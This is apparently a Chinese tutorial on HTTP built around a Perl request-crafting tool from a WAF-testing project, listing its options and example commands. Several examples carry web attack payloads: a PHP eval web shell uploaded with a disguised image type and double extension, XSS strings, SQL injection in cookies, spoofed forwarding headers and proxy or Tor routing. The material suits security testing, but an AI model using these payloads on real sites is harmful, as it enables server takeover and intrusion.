通过HTTP发包工具了解HTTP协议

use URI;
use URI::Split qw(uri_split uri_join);
use URI::Escape;

use LWP::UserAgent;
use HTTP::Headers;
use HTTP::Cookies;
use HTTP::Request::Common;

git clone https://github.com/tanjiti/WAFTest

cpan App::cpanminus

cat requirePackage.txt | cpanm 

perl HTTP.pl --help

-help 帮助选项
-url ‘http://xxxx.xx.com‘ HTTP请求的URL
-m|method GET|POST|HEAD HTTP请求方法，默认为GET方法

-H|header X-Forwarded-For=‘127.0.0.1, 127.0.0.2‘ -H Via=‘Squid‘ HTTP请求头
-cookie usertrack=‘123456‘ -b hit=1 HTTP cookie
-d|data name=‘tanjiti‘ -d passwd=12345 HTTP 查询字符串/post表单数据


-A|user-agent ‘baiduspider‘ HTTP UserAgent，默认值 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
-e|referer ‘http://www.baidu.com‘ HTTP Referer

-proxy ‘http://64.34.14.28:7808‘ 代理，支持https，http，socks代理
-t|timeout 180 请求超时时间,默认值180s
-L|redirect 7 重定向次数,默认值7次


-F|fileUpload 表明本次请求为文件上传
-fileFiled ‘uploaded‘ 文件域name
-filePath ‘/tmp/a.jpeg‘ 本地文件路径
-fileName ‘a.php‘ 上传文件名
-fileContent ‘<?php eval($_POST[a]);?>‘ 上传文件内容
-fileType ‘image/jpeg‘ 上传文件类型

-s|silent : 隐藏http完整内容，只显示http响应消息
-r|raw : 表明采用未进行urlencode编码的方式提交post数据

-basicAuth : 表明此次请求为HTTP基本认证
-username tanjiti 基本认证用户名
-password 12345 基本认证密码

./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 0

./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 1

./HTTP.pl -url http://www.tanjiti.com/xxx/

./HTTP.pl -url http://www.tanjiti.com/xxx/ -basicAuth -username tanjiti -password q

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword=‘name<script>alert(1)</script>‘ -d submit=‘submit‘

选项 

-d 提交数据

-method 指定HTTP请求方法

-raw 是否进行urlencode编码

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword=‘name<script>alert(1)</script>‘ -d submit=‘submit‘ -method post

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword=‘name<script>alert(1)</script>‘ -d submit=‘submit‘ -method post -raw

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php" -fileName ‘1.jpg .php‘ -fileType ‘image/jpeg‘

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -fileName ‘avator.jpeg‘ -fileType ‘image/jpeg‘ -fileContent ‘<?php @eval($_POST[a]);?>‘

选项 

-cookie

./HTTP.pl -url http://www.tanjiti.com/a.php -cookie username="tanjiti‘ or ‘‘= ‘‘ -- " -cookie password=‘1 or 1=1 --‘

User-Agent 脚本中默认为  Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0  

Referer   用户是从这个页面上依照链接跳转过来的

Host  

Accept  告知服务器发送何种媒体类型，脚本中默认为text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Charset  e.g. utf-8 告知服务器发送何种字符集 

Accept-Encoding 告知服务器采用何种编码，脚本中默认为gzip,deflate,sdch

Accept-Language 告知服务器采用何种语言，脚本中默认为 zh-CN,zh;q=0.8,en;q=0.6  

 X_Forwarded_For  经过的客户端IP地址  

 Via   代理服务器标识

选项 

-A  或者-user-agent

./HTTP.pl -url http://www.tanjiti.com -A ‘tanjiti‘

 

选项 

-e  或者-referer

./HTTP.pl -url http://www.tanjiti.com -e ‘http://www.google.com‘

./HTTP.pl -url http://127.0.0.1 -H Accept=‘*/*‘ -H Accept-Charset=‘utf-8‘ -H Accept-Encoding=‘identity‘ -H Accept-Language=‘zh-CN,zh;q=0.8,en;q=0.6‘ -H Host=‘www.tanjiti.com‘ -H Via=‘1.0 tanjiit.com(squid 0.54)‘ -H X-Forwarded-For=‘129.78.138.66, 129.78.64.103‘

./HTTP.pl -url http://www.tanjiti.com -proxy http://61.158.219.226:8118

(2) 使用tor/socks代理

./HTTP.pl -url http://www.tanjiti.com -proxy socks://127.0.0.1:9050

./HTTP.pl -url http://www.tanjiti.com -proxy socks://180.153.139.246:8888

./HTTP.pl -url http://www.tanjiti.com/a.php -s

./HTTP.pl -url http://www.tanjiti.com/ -t 20

echo -ne ‘GET /?a=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1\r\nHost: www.tanjiti.com\r\nUserAgent: curl 0.9\r\n‘ > xss.t

perl HTTPFromFile.pl -code 403 -host www.tanjiti.com -port 80 -file xss.t

perl HTTPFromFile.pl -host www.tanjiti.com -dir ~/WAFTest/t